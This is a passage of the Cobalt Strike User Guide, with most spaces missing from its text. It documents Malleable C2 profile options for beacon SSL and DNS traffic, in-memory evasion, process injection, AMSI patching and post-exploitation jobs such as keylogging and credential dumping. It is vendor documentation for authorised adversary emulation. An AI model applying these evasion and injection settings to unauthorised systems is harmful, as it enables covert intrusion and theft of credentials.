MalleableCommandandControl/Self-signedSSLCertificateswithSSLBeacon set trust_x_forwarded_for-ThisoptiondecidesifCobaltStrikeusestheX-Forwarded-For HTTPheadertodeterminetheremoteaddressofarequest.UsethisoptionifyourCobalt StrikeserverisbehindanHTTPredirector. block_useragentsandallow_useragents-Theseoptionsconfigurealistofuseragentsthat areblockedorallowedwitha404response.Bydefault,requestsfromuseragentsthat startwithcurl,lynx,orwgetareallblocked.Ifbotharespecified,block_useragentswill takeprecedenceoverallow_useragents.Theoptionvaluesupportsastringofcomma separatedvalues.Valuessupportsimplegenerics: Example Description notspecified Usethedefaultvalue(curl*,lynx*,wget*).Blockrequests fromuseragentsstartingwithcurl,lynx,orwget. blank(block_useragents) Nouseragentsareblocked. blank(allowuser_agents) Alluseragentsareallowed. something Block/Allowrequestswithuseragentequal'something'. something* Block/Allowrequestswithuseragentstartingwith 'something'. *something Block/Allowrequestswithuseragentendingwith 'something'. something Block/Allowrequestswithuseragentcontaining 'something'. Self-signed SSL Certificates with SSL Beacon TheHTTPSBeaconusestheHTTPBeaconsindicatorsinitscommunication.MalleableC2 profilesmayalsospecifyparametersfortheBeaconC2serversself-signedSSLcertificate.This isusefulifyouwanttoreplicateanactorwithuniqueindicatorsintheirSSLcertificate: https-certificate { set CN "bobsmalware.com"; set O "Bobs Malware"; } Thecertificateparametersunderyourprofilescontrolare: CobaltStrikeUserGuide www.fortra.com page:144

MalleableCommandandControl/ValidSSLCertificateswithSSLBeacon Option Example Description C US Country CN beacon.cobaltstrike.com CommonName;Yourcallbackdomain L Washington Locality O Fortra,LLC OrganizationName OU CertificateDepartment OrganizationalUnitName ST DC StateorProvince validity 365 Numberofdayscertificateisvalidfor Valid SSL Certificates with SSL Beacon YouhavetheoptiontouseaValidSSLcertificatewithBeacon.UseaMalleableC2profileto specifyaJavaKeystorefileandapasswordforthekeystore.Thiskeystoremustcontainyour certificatesprivatekey,therootcertificate,anyintermediatecertificates,andthedomain certificateprovidedbyyourSSLcertificatevendor.CobaltStrikeexpectstofindtheJava KeystorefileinthesamefolderasyourMalleableC2profile. https-certificate { set keystore "domain.store"; set password "mypassword"; } TheparameterstouseavalidSSLcertificateare: Option Example Description keystore domain.store JavaKeystorefilewithcertificateinformation password mypassword ThepasswordtoyourJavaKeystore HerearethestepstocreateaValidSSLcertificateforusewithCobaltStrikesBeacon:

  1. Usethekeytoolprogram tocreateaJavaKeystorefile.Thisprogram willask“Whatis yourfirstandlastname?”Makesureyouanswerwiththefullyqualifieddomainnameto yourBeaconserver.Also,makesureyoutakenoteofthekeystorepassword.Youwill needitlater. $ keytool -genkey -keyalg RSA -keysize 2048 -keystore domain.store CobaltStrikeUserGuide www.fortra.com page:145

MalleableCommandandControl/ProfileVariants 2. UsekeytooltogenerateaCertificateSigningRequest(CSR).Youwillsubmitthisfileto yourSSLcertificatevendor.Theywillverifythatyouarewhoyouareandissuea certificate.Somevendorsareeasierandcheapertodealwiththanothers. $ keytool -certreq -keyalg RSA -file domain.csr -keystore domain.store 3. ImporttheRootandanyIntermediateCertificatesthatyourSSLvendorprovides. $ keytool -import -trustcacerts -alias FILE -file FILE.crt - keystore domain.store 4. Finally,youmustinstallyourDomainCertificate. $ keytool -import -trustcacerts -alias mykey -file domain.crt - keystore domain.store And,thatsit.YounowhaveaJavaKeystorefilethatsreadytousewithCobaltStrikesBeacon. Profile Variants MalleableC2profilefiles,bydefault,containoneprofile.Itspossibletopackvariationsofthe currentprofilebyspecifyingvariantblocksforhttp-beacon,https-certificate,http-get,http-post andhttp-stager. Avariantblockisspecifiedas[block name] “variant name” { … }.Heresavarianthttp-getblock named“MyVariant”: http-get "My Variant" { client { parameter "bar" "blah"; Avariantblockcreatesacopyofthecurrentprofilewiththespecifiedvariantblocksreplacing thedefaultblocksintheprofileitself.Eachuniquevariantnamecreatesanewvariantprofile. Youmaypopulateaprofilewithasmanyvariantnamesasyoulike. VariantsareselectablewhenconfiguringanHTTPorHTTPSBeaconlistener.Variantsallow eachHTTPorHTTPSBeaconlistenertiedtoasingleteamservertohavenetworkIOCsthat differfromeachother. HTTP Beacons Allowsyoutospecifyattributesforgeneralattributesforthehttp(s)beacons. CobaltStrikeUserGuide www.fortra.com page:146

MalleableCommandandControl/CodeSigningCertificate ThedefaultbeaconlibrarycansubsequentlybeoverriddenonUIDialogsandAggressor Commandsthatgeneratebeaconsasneeded. http-beacon { set library "winhttp"; } http-beacon "variant-x" { set library "wininet"; } Thesettingsare: Option Default Value Description library wininet Thelibraryattributeallowsusertospecifythedefault libraryusedbythegeneratedbeaconsusedbythe profile. Thelibrarydefaultsto"wininet",whichistheonly typeofbeaconpriortoversion4.9.Thelibraryvalue canbe"wininet"or"winhttp". Code Signing Certificate Payloads -> Windows Stager PayloadandWindows Stageless Payloadgiveyoutheoptionto signanexecutableorDLLfile.Tousethisoption,youmustspecifyaJavaKeystorefilewith yourcodesigningcertificateandprivatekey.CobaltStrikeexpectstofindtheJavaKeystorefile inthesamefolderasyourMalleableC2profile. code-signer { set keystore "keystore.jks"; set password "password"; set alias "server"; } Thecodesigningcertificatesettingsare: Option Example Description alias server Thekeystoresaliasforthiscertificate CobaltStrikeUserGuide www.fortra.com page:147

MalleableCommandandControl/DNSBeacons Option Example Description digest_ SHA256 Thedigestalgorithm algorithm keystore keystore.jks JavaKeystorefilewithcertificate information password mypassword ThepasswordtoyourJavaKeystore timestamp false Timestampthefileusingathird-party service timestamp_url http://timestamp.digicert.com URLofthetimestampservice DNS Beacons YouhavetheoptiontoshapetheDNSBeacon/ListenernetworktrafficwithMalleableC2. dns-beacon “optional-variant-name” {

Options moved into 'dns-beacon' group in 4.3:

set dns_idle "1.2.3.4"; set dns_max_txt "199"; set dns_sleep "1"; set dns_ttl "5"; set maxdns "200"; set dns_stager_prepend "doc-stg-prepend"; set dns_stager_subhost "doc-stg-sh.";

DNS subhost override options added in 4.3:

set beacon "doc.bc."; set get_A "doc.1a."; set get_AAAA "doc.4a."; set get_TXT "doc.tx."; set put_metadata "doc.md."; set put_output "doc.po."; set ns_response "zero"; } Thesettingsare: Option Default Value Changes dns_idle 0.0.0.0 IPaddressusedtoindicatenotasksare availabletoDNSBeacon;Maskforother DNSC2values CobaltStrikeUserGuide www.fortra.com page:148

MalleableCommandandControl/DNSBeacons Option Default Value Changes dns_max_txt 252 MaximumlengthofDNSTXTresponses fortasks dns_sleep 0 ForceasleeppriortoeachindividualDNS request.(inmilliseconds) dns_stager_prepend Prependtexttopayloadstagedeliveredto DNSTXTrecordstager dns_stager_subhost .stage.123456. SubdomainusedbyDNSTXTrecord stager. dns_ttl 1 TTLforDNSreplies maxdns 255 Maximumlengthofhostnamewhen uploadingdataoverDNS(0-255) beacon DNSsubhostprefixusedforbeaconing requests.(lowercasetext) get_A cdn. DNSsubhostprefixusedforArecord requests(lowercasetext) get_AAAA www6. DNSsubhostprefixusedforAAAArecord requests(lowercasetext) get_TXT api. DNSsubhostprefixusedforTXTrecord requests(lowercasetext) put_metadata www. DNSsubhostprefixusedformetadata requests(lowercasetext) put_output post. DNSsubhostprefixusedforoutput requests(lowercasetext) ns_response drop HowtoprocessNSRecordrequests. "drop"doesnotrespondtotherequest (default),"idle"respondswithArecordfor IPaddressfrom"dns_idle","zero"responds withArecordfor0.0.0.0 Youcanuse"ns_response"whenaDNSserverisrespondingtoatargetwith"Serverfailure" errors.ApublicDNSResolvermaybeinitiatingNSrecordrequeststhattheDNSServerinCobalt StrikeTeamServerisdroppingbydefault. {target} {DNS Resolver} Standard query 0x5e06 A doc.bc.11111111.a.example.com {DNS Resolver} {target} Standard query response 0x5e06 Server failure A doc.bc.11111111.a.example.com CobaltStrikeUserGuide www.fortra.com page:149

MalleableCommandandControl/ExercisingCautionwithMalleableC2 Exercising Caution with Malleable C2 MalleableC2givesyouanewlevelofcontroloveryournetworkandhostindicators.Withthis poweralsocomesresponsibility.MalleableC2isanopportunitytomakealotofmistakestoo. Hereareafewthingstothinkaboutwhenyoucustomizeyourprofiles: l EachCobaltStrikeinstanceusesoneprofileatatime.Ifyouchangeaprofileorloada newprofile,previouslydeployedBeaconscannotcommunicatewithyou. l Alwaysstayawareofthestateofyourdataandwhataprotocolwillallowwhenyou developadatatransform.Forexample,ifyoubase64encodemetadataandstoreitina URIparameter—itsnotgoingtowork.Why?Somebase64characters(+,=,and/)have specialmeaninginaURL.Thec2linttoolandProfileCompilerwillnotdetectthesetypes ofproblems. l Alwaystestyourprofiles,evenaftersmallchanges.IfBeaconcantcommunicatewith you,itsprobablyanissuewithyourprofile.Edititandtryagain. l Trustthec2linttool.Thistoolgoesaboveandbeyondtheprofilecompiler.Thechecks aregroundedinhowthistechnologyisimplemented.Ifac2lintcheckfails,itmeans thereisarealproblem withyourprofile. CobaltStrikeUserGuide www.fortra.com page:150

MalleablePE,ProcessInjection,andPostExploitation/Overview Malleable PE, Process Injection, and Post Exploitation Overview MalleableC2profilesaremorethancommunicationindicators.MalleableC2profilesalso controlBeaconsin-memorycharacteristics,determinehowBeacondoesprocessinjection,and influenceCobaltStrikespost-exploitationjobstoo.Thesectionsthatfollowdocumentthese extensionstotheMalleableC2language. PE and Memory Indicators ThestageblockinMalleableC2profilescontrolshowBeaconisloadedintomemoryandedit thecontentoftheBeaconDLL. stage { set userwx "false"; set compile_time "14 Jul 2009 8:14:00"; set image_size_x86 "512000"; set image_size_x64 "512000"; set obfuscate "true"; transform-x86 { prepend "\x90\x90"; strrep "ReflectiveLoader" "DoLegitStuff"; } transform-x64 {

transform the x64 rDLL stage

} stringw "I am not Beacon"; } Thestage blockacceptscommandsthataddstringstothe.rdatasectionoftheBeaconDLL. Thestring commandaddsazero-terminatedstring.Thestringw commandaddsawide(UTF- 16LEencoded)string.Thedata commandaddsyourstringas-is. CobaltStrikeUserGuide www.fortra.com page:151

MalleablePE,ProcessInjection,andPostExploitation/PEandMemoryIndicators Thetransform-x86 andtransform-x64 blockspadandtransformBeaconsReflectiveDLL stage.Theseblockssupportthreecommands:prepend,append,andstrrep. Theprepend commandinsertsastringbeforeBeaconsReflectiveDLL.Theappend command addsastringaftertheBeaconReflectiveDLL.Makesurethatprependeddataisvalidcodefor thestagesarchitecture(x86,x64).Thec2lintprogramdoesnothaveacheckforthis.The strrep commandreplacesastringwithinBeaconsReflectiveDLL. ThestageblockacceptsseveraloptionsthatcontroltheBeaconDLLcontentandprovidehints tochangethebehaviorofBeaconsReflectiveLoader: Option Example Description allocator HeapAlloc SethowBeacon'sReflectiveLoaderallocates memoryfortheagent.Optionsare:HeapAlloc, MapViewOfFile,andVirtualAlloc. cleanup false AskBeacontoattempttofreememoryassociated withtheReflectiveDLLpackagethatinitializedit. data_store_size 16 SethowmanyentriescanbestoredinBeaconData Store. magic_mz_x86 MZRE Overridethefirstbytes(MZheaderincluded)of Beacon'sReflectiveDLL.Validx86instructionsare required.FollowinstructionsthatchangeCPUstate withinstructionsthatundothechange. magic_mz_x64 MZAR Sameasmagic_mz_x86;affectsx64DLL magic_pe PE OverridethePEcharactermarkerusedbyBeacon's ReflectiveLoaderwithanothervalue. module_x861 xpsservices.dll Askthex86ReflectiveLoadertoloadthespecified libraryandoverwriteitsspaceinsteadofallocating memorywithVirtualAlloc. module_x641 xpsservices.dll Sameasmodule_x86;affectsx64loader obfuscate false ObfuscatetheReflectiveDLLsimporttable, overwriteunusedheadercontent,andask ReflectiveLoadertocopyBeacontonewmemory withoutitsDLLheaders. sleep_mask false ObfuscateBeaconandit'sheap,in-memory,priorto sleeping. smartinject false Useembeddedfunctionpointerhintstobootstrap Beaconagentwithoutwalkingkernel32EAT CobaltStrikeUserGuide www.fortra.com page:152

MalleablePE,ProcessInjection,andPostExploitation/PEandMemoryIndicators Option Example Description stomppe true AskReflectiveLoadertostompMZ,PE,ande_lfanew valuesafteritloadsBeaconpayload syscall_method None Setthesystemcallmethodtouseoninitialbeacon execution.OptionsareNone,Direct,Indirect.See sectionSystemCallsforadditionalinformation. userwx false AskReflectiveLoadertouseoravoidRWX permissionsforBeaconDLLinmemory 1.-Themodule_x86andmodule_x64settingnowsupportstheabilitytospecifythestarting ordinalvaluetosearchforanexportedfunction.Theoptional0x##partisthestarting ordinalvaluespecifiedasaninteger.IfalibraryissetandBeacondoesnotoverwriteitself intothememoryspacethenitlikelythelibrarydoesnothaveanexportedfunctionwithan ordinalvalueof1through15.Toresolvethisdetermineavalidordinalvalueandspecify thisvalueusingtheoptionalsyntax,forexample:setmodule_x64"libtemp.dll+0x90" Cloning PE Headers ThestageblockhasseveraloptionsthatchangethecharacteristicsofyourBeaconReflective DLLtolooklikesomethingelseinmemory.Thesearemeanttocreateindicatorsthatsupport analysisexercisesandthreatemulationscenarios. Option Example Description checksum 0 TheCheckSumvalueinBeaconsPEheader compile_time 14July20098:14:00 ThebuildtimeinBeaconsPEheader entry_point 92145 TheEntryPointvalueinBeaconsPEheader image_size_x64 512000 SizeOfImagevalueinx64BeaconsPEheader image_size_x86 512000 SizeOfImagevalueinx86BeaconsPEheader name beacon.x64.dll TheExportednameoftheBeaconDLL rich_header Meta-informationinsertedbythecompiler CobaltStrikesLinuxpackageincludesatool,peclone,toextractheadersfromaDLLand presentthemasaready-to-usestageblock: ./peclone [/path/to/sample.dll] In-memory Evasion and Obfuscation CobaltStrikeUserGuide www.fortra.com page:153

MalleablePE,ProcessInjection,andPostExploitation/PEandMemoryIndicators Usethestageblocksprepend commandtodefeatanalysisthatscansthefirstfewbytesofa memorysegmenttolookforsignsofaninjectedDLL.Iftool-specificstringsareusedtodetect youragents,changethemwiththestrrep command. Ifstrrepisntenough,setsleep_mask totrue.ThisdirectsBeacontoobfuscateitselfandit's heapin-memorybeforeitgoestosleep.Aftersleeping,Beaconwillde-obfuscateitselfto requestandprocesstasks.TheSMBandTCPBeaconswillobfuscatethemselveswhilewaiting foranewconnectionorwaitingfordatafromtheirparentsession. DecidehowmuchyouwanttolooklikeaDLLinmemory.Ifyouwanttoalloweasydetection, setstomppe tofalse.IfyouwouldliketolightlyobfuscateyourBeaconDLLinmemory,set stomppetotrue.Ifyoudliketoupthechallenge,setobfuscate totrue.Thisoptionwilltake manystepstoobfuscateyourBeaconstageandthefinalstateoftheDLLinmemory. OnewaytofindmemoryinjectedDLLsistolookfortheMZandPEmagicbytesattheir expectedlocationsrelativetoeachother.Thesevaluesarenotusuallyobfuscatedasthe reflectiveloadingprocessdependsonthem.Theobfuscateoptiondoesnotaffectthesevalues. Setmagic_pe totwolettersorbytesthatmarkthebeginningofthePEheader.Setmagic_mz_ x86 tochangethesemagicbytesinthex86BeaconDLL.Setmagic_mz_x64 forthex64 BeaconDLL.FollowinstructionsthatchangeCPUstatewithinstructionsthatundothechange. Forexample,MZistheeasilyrecognizableheadersequence,butit'salsovalidx86andx64 instructions.Thefollow-onRE(x86)andAR (x64)arevalidx86andx64instructionsthatundo theMZchanges.ThesehintswillchangethemagicvaluesinBeacon'sReflectiveDLLpackage andmakethereflectiveloadingprocessusethenewvalues. figure67-Disassemblyofdefaultmodule_mz_x86value Setuserwx tofalsetoaskBeaconsloadertoavoidRWXpermissions.Memorysegmentswith thesepermissionswillattractextraattentionfromanalystsandsecurityproducts. Bydefault,BeaconsloaderallocatesmemorywithVirtualAlloc.Usetheallocator optionto changethis.TheHeapAllocoptionallocatesheapmemoryforBeaconwithRWXpermissions. TheMapViewOfFileallocatorallocatesmemoryforBeaconbycreatingananonymousmemory mappedfileregioninthecurrentprocess.Modulestompingisanalternativetotheseoptions andawaytohaveBeaconexecutefromcovetedimagememory.Setmodule_x86 toaDLLthat CobaltStrikeUserGuide www.fortra.com page:154

MalleablePE,ProcessInjection,andPostExploitation/ProcessInjection isabouttwiceaslargeastheBeaconpayloaditself.Beaconsx86loaderwillloadthespecified DLL,finditslocationinmemory,andoverwriteit.ThisisawaytosituateBeaconinmemorythat Windowsassociateswithafileondisk.ItsimportantthattheDLLyouchooseisnotneededby theapplicationsyouintendtoresidein.Themodule_x64 optionisthesamestory,butitaffects thex64Beacon. IfyoureworriedabouttheBeaconstagethatinitializestheBeaconDLLinmemory,setcleanup totrue.ThisoptionwillfreethememoryassociatedwiththeBeaconstagewhenitsnolonger needed. Process Injection Theprocess-injectblockinMalleableC2profilesshapesinjectedcontentandcontrolsprocess injectionbehaviorfortheBeaconpayload.ItalsocontrolsthebehaviorofBeaconObjectFiles (BOF)executionwithinthecurrentbeacon. process-inject {

set how memory is allocated in a remote process for

injected content set allocator "VirtualAllocEx";

set how memory is allocated in the current process for BOF

content set bof_allocator "VirtualAlloc"; set bof_reuse_memory "true";

shape the memory characteristics for injected and BOF

content set min_alloc "16384"; set startrwx "true"; set userwx "false";

transform x86 injected content

transform-x86 { prepend "\x90\x90"; }

transform x64 injected content

transform-x64 { append "\x90\x90"; }

determine how to execute the injected code

execute { CreateThread "ntdll.dll!RtlUserThreadStart"; SetThreadContext; CobaltStrikeUserGuide www.fortra.com page:155

MalleablePE,ProcessInjection,andPostExploitation/ProcessInjection RtlCreateUserThread; } } Theprocess-injectblockacceptsseveraloptionsthatcontroltheprocessinjectionprocessin Beacon: Option Example Description allocator VirtualAllocEx Thepreferredmethodtoallocatememoryinthe remoteprocess.SpecifyVirtualAllocExor NtMapViewOfSection.TheNtMapViewOfSection optionisforsame-architectureinjectiononly. VirtualAllocExisalwaysusedforcross-archmemory allocations. bof_allocator VirtualAlloc Thepreferredmethodtoallocatememoryinthe currentprocesstoexecuteaBOF.Specify VirtualAlloc,MapViewOfFile,orHeapAlloc. bof_reuse_memory true ReusetheallocatedmemoryforsubsequentBOF executionsotherwisereleasethememory.Memory willbeclearedwhennotinuse.Iftheavailable amountofmemoryisnotlargeenoughitwillbe releasedandallocatedwiththelargersize. min_alloc 4096 Minimumamountofmemorytorequestforinjected orBOFcontent. startrwx false UseRWXasinitialpermissionsforinjectedorBOF content.AlternativeisRW.WhenBOFmemoryisnot inusethepermissionswillbesetbasedonthis setting. userwx false UseRWXasfinalpermissionsforinjectedorBOF content.AlternativeisRX. Thetransform-x86 andtransform-x64 blockspadcontentinjectedbyBeacon.Theseblocks supporttwocommands:prependandappend. Theprepend commandinsertsastringbeforetheinjectedcontent.Theappend command addsastringaftertheinjectedcontent.Makesurethatprependeddataisvalidcodeforthe injectedcontentsarchitecture(x86,x64).Thec2lintprogramdoesnothaveacheckforthis. Theexecute blockcontrolsthemethodsBeaconwillusewhenitneedstoinjectcodeintoa process.Beaconexamineseachoptionintheexecuteblock,determinesiftheoptionisusable forthecurrentcontext,triesthemethodwhenitisusable,andmovesontothenextoptionif codeexecutiondidnothappen.Theexecuteoptionsinclude: CobaltStrikeUserGuide www.fortra.com page:156

MalleablePE,ProcessInjection,andPostExploitation/ControllingProcessInjection Option x86->x64 x64->x86 Notes CreateThread Currentprocessonly CreateRemoteThread Yes Nocross-session NtQueueApcThread NtQueueApcThread-s Thisisthe“EarlyBird” injectiontechnique. Suspendedprocesses(e.g., post-exjobs)only. RtlCreateUserThread Yes Yes RiskyonXP-eratargets;uses RWXshellcodeforx86->x64 injection. SetThreadContext Yes Suspendedprocesses(e.g., post-exjobs)only. TheCreateThread andCreateRemoteThread optionshavevariantsthatspawnasuspended threadwiththeaddressofanotherfunction,updatethesuspendedthreadtoexecutethe injectedcode,andresumethatthread.Use[function]“module!function+0x##”tospecifythe startaddresstospoof.Forremoteprocesses,ntdllandkernel32aretheonlyrecommended modulestopullfrom.Theoptional0x##partisanoffsetaddedtothestartaddress.These variantsworkx86->x86andx64->x64only. Theexecuteoptionsyouchoosemustcoveravarietyofcornercases.Thesecornercases includeselfinjection,injectionintosuspendedtemporaryprocesses,cross-sessionremote processinjection,x86->x64injection,x64->x86injection,andinjectionwithorwithoutpassing anargument.Thec2linttoolwillwarnyouaboutcontextsthatyourexecuteblockdoesnot cover. Controlling Process Injection CobaltStrike4.5addedsupporttoallowuserstodefinetheirownprocessinjectiontechnique insteadofusingthebuilt-intechniques.ThisisdonethroughthePROCESS_INJECT_ SPAWN andPROCESS_INJECT_EXPLICIT hookfunctions.CobaltStrikewillcalloneof thesehookfunctionswhenexecutingpostexploitationcommands.Seethesectiononthehook foratableofsupportedcommands. Thetwohookswillcovermostofthepostexploitationcommands.However,therearesome exceptionswhichwillnotusethesehooksandwillcontinuetousethebuilt-intechnique. Beacon Command Aggressor Script function &bdllspawn CobaltStrikeUserGuide www.fortra.com page:157

MalleablePE,ProcessInjection,andPostExploitation/ControllingProcessInjection Beacon Command Aggressor Script function shell &bshell execute-assembly &bexecute_assembly Toimplementyourowninjectiontechnique,youwillberequiredtosupplyaBeaconObjectFile (BOF)containingyourexecutablecodeforx86and/orx64architecturesandanAggressor Scriptfilecontainingthehookfunction.SeetheProcessInjectionHookExamplesinthe CommunityKit. Sinceyouareimplementingyourowninjectiontechnique,theprocess-injectsettingsinyour MalleableC2profilewillnotbeusedunlessyourBOFcallstheBeaconAPIfunction BeaconInjectProcessorBeaconInjectTemporaryProcess.Thesefunctionsimplementthe defaultinjectionandmostlikelywillnotbeusedunlessitistoimplementafallbacktothe defaulttechnique. Process Injection Spawn ThePROCESS_INJECT_SPAWNhookisusedtodefinethefork&runprocessinjection technique.Thefollowingbeaconcommands,aggressorscriptfunctions,andUIinterfaceslisted inthetablebelowwillcallthehookandtheusercanimplementtheirowntechniqueorusethe built-intechnique. Notethefollowing: l Theelevate,runasadmin,&belevate,&brunasadmin and[beacon] -> Access -> Elevate commandswillonlyusethePROCESS_INJECT_SPAWNhookwhenthe specifiedexploitusesoneofthelistedaggressorscriptfunctionsinthetable,for example&bpowerpick. l Forthenet and&bnet commandthedomaincommandwillnotusethehook. l The(useahash)notemeansselectacredentialthatreferencesahash. JobTypes Command Aggressor Script UI chromedump dcsync &bdcsync elevate &belevate [beacon]->Access->Elevate [beacon]->Access->GoldenTicket CobaltStrikeUserGuide www.fortra.com page:158

MalleablePE,ProcessInjection,andPostExploitation/ControllingProcessInjection Command Aggressor Script UI hashdump &bhashdump [beacon]->Access->DumpHashes keylogger &bkeylogger logonpasswords &blogonpasswords [beacon]->Access->RunMimikatz [beacon]->Access->MakeToken(usea hash) mimikatz &bmimikatz &bmimikatz_small net &bnet [beacon]->Explore->NetView portscan &bportscan [beacon]->Explore->PortScan powerpick &bpowerpick printscreen &bprintscreen pth &bpassthehash runasadmin &brunasadmin [target]->Scan screenshot &bscreenshot [beacon]->Explore->Screenshot screenwatch &bscreenwatch ssh &bssh [target]->Jump->ssh ssh-key &bssh_key [target]->Jump->ssh-key [target]->Jump->exploit Process Injection Explicit ThePROCESS_INJECT_EXPLICIThookisusedtodefinetheexplicitprocessinjectiontechnique. Thefollowingbeaconcommands,aggressorscriptfunctions,andUIinterfaceslistedinthe tablebelowwillcallthehookandtheusercanimplementtheirowntechniqueorusethebuilt-in technique. Notethefollowing: l The[ProcessBrowser]interfaceisaccessedby[beacon] -> Explore -> Process List. Thereisalsoamultiversionofthisinterfacewhichisaccessedbyselectingmultiple sessionsandusingthesameUImenu.WhenintheProcessBrowserusethebuttonsto perform additionalcommandsontheselectedprocess. CobaltStrikeUserGuide www.fortra.com page:159

MalleablePE,ProcessInjection,andPostExploitation/ControllingPostExploitation l Thechromedump,dcsync,hashdump,keylogger,logonpasswords,mimikatz,net, portscan,printscreen,pth,screenshot,screenwatch,ssh,andssh-key commands alsohaveafork&runversion.Tousetheexplicitversionrequiresthepidandarchitecture arguments. l Forthenet and&bnet commandthedomaincommandwillnotusethehook. JobTypes Command Aggressor Script UI browserpivot &bbrowserpivot [beacon]->Explore->BrowserPivot chromedump dcsync &bdcsync dllinject &bdllinject hashdump &bhashdump inject &binject [ProcessBrowser]->Inject keylogger &bkeylogger [ProcessBrowser]->LogKeystrokes logonpasswords &blogonpasswords mimikatz &bmimikatz &bmimikatz_small net &bnet portscan &bportscan printscreen &bprintscreen psinject &bpsinject pth &bpassthehash screenshot &bscreenshot [ProcessBrowser]->Screenshot(Yes) screenwatch &bscreenwatch [ProcessBrowser]->Screenshot(No) shinject &bshinject ssh &bssh ssh-key &bssh_key Controlling Post Exploitation CobaltStrikeUserGuide www.fortra.com page:160

MalleablePE,ProcessInjection,andPostExploitation/ControllingPostExploitation LargerCobaltStrikepost-exploitationfeatures(e.g.,screenshot,keylogger,hashdump,etc.)are implementedasWindowsDLLs.Toexecutethesefeatures,CobaltStrikespawnsatemporary process,andinjectsthefeatureintoit.Theprocess-injectblockcontrolstheprocessinjection step.Thepost-exblockcontrolsthecontentandbehaviorsspecifictoCobaltStrikespost- exploitationfeatures.Withthe4.5releasethesepost-exploitationfeaturesnowsupportexplicit injectionintoanexistingprocesswhenusingthe[pid]and[arch]arguments. post-ex {

control the temporary process we spawn to

set spawnto_x86 "%windir%\syswow64\rundll32.exe"; set spawnto_x64 "%windir%\sysnative\rundll32.exe";

change the permissions and content of our post-ex DLLs

set obfuscate "true";

change our post-ex output named pipe names...

set pipename "evil_####, stuff\not_##_ev#l";

pass key function pointers from Beacon to its child jobs

set smartinject "true";

disable AMSI in powerpick, execute-assembly, and psinject

set amsi_disable "true";

cleanup the post-ex UDRL memory when the post-ex DLL is

loaded set cleanup "true"; transform-x64 {

replace a string in the port scanner dll

strrepex "PortScanner" "Scanner module is complete" "Scan is complete";

replace a string in all post exploitation dlls

strrep "is alive." "is up."; } transform-x86 {

replace a string in the port scanner dll

strrepex "PortScanner" "Scanner module is complete" "Scan is complete";

replace a string in all post exploitation dlls

strrep "is alive." "is up."; } } CobaltStrikeUserGuide www.fortra.com page:161

MalleablePE,ProcessInjection,andPostExploitation/ControllingPostExploitation Thespawnto_x86 andspawnto_x64 optionscontrolthedefaulttemporaryprocessBeaconwill spawnforitspost-exploitationfeatures.Hereareafewtipsforthesevalues: l Alwaysspecifythefullpathtotheprogram youwantBeacontospawn l Environmentvariables(e.g.,%windir%)areOKwithinthesepaths. l Donotspecify%windir%\system32orc:\windows\system32directly.Alwaysuse syswow64(x86)andsysnative(x64).Beaconwilladjustthesevaluestosystem32 whereitsnecessary. l Foranx86spawntovalue,youmustspecifyanx86program.Foranx64spawntovalue, youmustspecifyanx64program. l Thepathsyouspecify(minustheautomaticsyswow64/sysnativeadjustment)must existfrom bothanx64(native)andx86(wow64)viewofthefilesystem. Theobfuscate optionscramblesthecontentofthepost-exDLLsandsettlesthepost-ex capabilityintomemoryinamoreOPSEC-safeway.Itsverysimilartotheobfuscateanduserwx optionsavailableforBeaconviathestageblock.Somelong-runningpost-exDLLswillmaskand unmasktheirstringtable,asneeded,whenthisoptionisset. Usepipename tochangethenamedpipenamesused,bypost-exDLLs,tosendoutputbackto Beacon.Thisoptionacceptsacomma-separatedlistofpipenames.CobaltStrikewillselecta randompipenamefromthisoptionwhenitsetsupapost-exploitationjob.Each#inthe pipenameisreplacedwithavalidhexcharacteraswell. Thesmartinject optiondirectsBeacontoembedkeyfunctionpointers,likeGetProcAddress andLoadLibrary,intoitssame-architecturepost-exDLLs.Thisallowspost-exDLLstobootstrap themselvesinanewprocesswithoutshellcode-likebehaviorthatisdetectedandmitigatedby watchingmemoryaccessestothePEBandkernel32.dll. Thethread_hint optionallowsmulti-threadedpost-exDLLstospawnthreadswithaspoofed startaddress.Specifythethreadhintas“module!function+0x##”tospecifythestartaddressto spoof.Theoptional0x##partisanoffsetaddedtothestartaddress. Theamsi_disable optiondirectspowerpick,execute-assembly,andpsinjecttopatchthe AmsiScanBufferfunctionbeforeloading.NETorPowerShellcode.ThislimitstheAntimalware ScanInterfacevisibilityintothesecapabilities. Thecleanup optioncleansupthepost-exUDRLmemorywhenthepost-exDLLisloaded.See Post-ex User Defined Reflective DLL Loader on page 163formoreinformationonhowthis operateswithacustomizedpost-exUDRL. Setthekeylogger optiontoconfigureCobaltStrike'skeystrokelogger.TheGetAsyncKeyState option(default)usestheGetAsyncKeyStateAPItoobservekeystrokes.The SetWindowsHookExoptionusesSetWindowsHookExtoobservekeystrokes. CobaltStrikeUserGuide www.fortra.com page:162

MalleablePE,ProcessInjection,andPostExploitation/Post-exUserDefinedReflectiveDLLLoader Thetransform-x86andtransform-x64blockstransformBeaconsPostExploitationDLLs. Theseblockssupporttwocommands:strrepandstrrepex. Thestrrep commandreplacesastringwithinallPostExploitationDLLs.Thestrrepex commandreplacesastringwithinthespecificPostExploitationDLLs,andithasthefollowing syntax:strrepex.Validpost-exnamesare: BrowserPivot,ExecuteAssembly,Hashdump,Keylogger,Mimikatz,NetView,PortScanner, PowerPick,Screenshot,andSSHAgent. Post-ex User Defined Reflective DLL Loader CobaltStrike4.9addedsupportforusingcustomerreflectiveloadersforthepost-expayloads. ThePost-exUserDefinedReflectiveLoaderexampleispartoftheudrl-vskitintheArsenalKit. GottoHelp -> ArsenalanddownloadtheArsenalKit.Yourlicencekeyisrequired. APost-exUserDefinedReflectiveLoadercanonlybeappliedtothefollowingpost-exDLLs: l browserpivot l hashdump l invokeassembly l keylogger l mimikatz l netview l portscan l powershell l screenshot l sshagent Implementation ThefollowingAggressorscripthookisprovidedtoallowimplementationofPost-exUser DefinedReflectiveLoaders: Function Description POSTEX_RDLL_GENERATE HookusedtoimplementReflectiveLoaderreplacement forpost-exDLLs.ArgumentsprovidedincludeBeaconID, GetModuleHandleAaddress,andGetProcAddress address. CobaltStrikeUserGuide www.fortra.com page:163

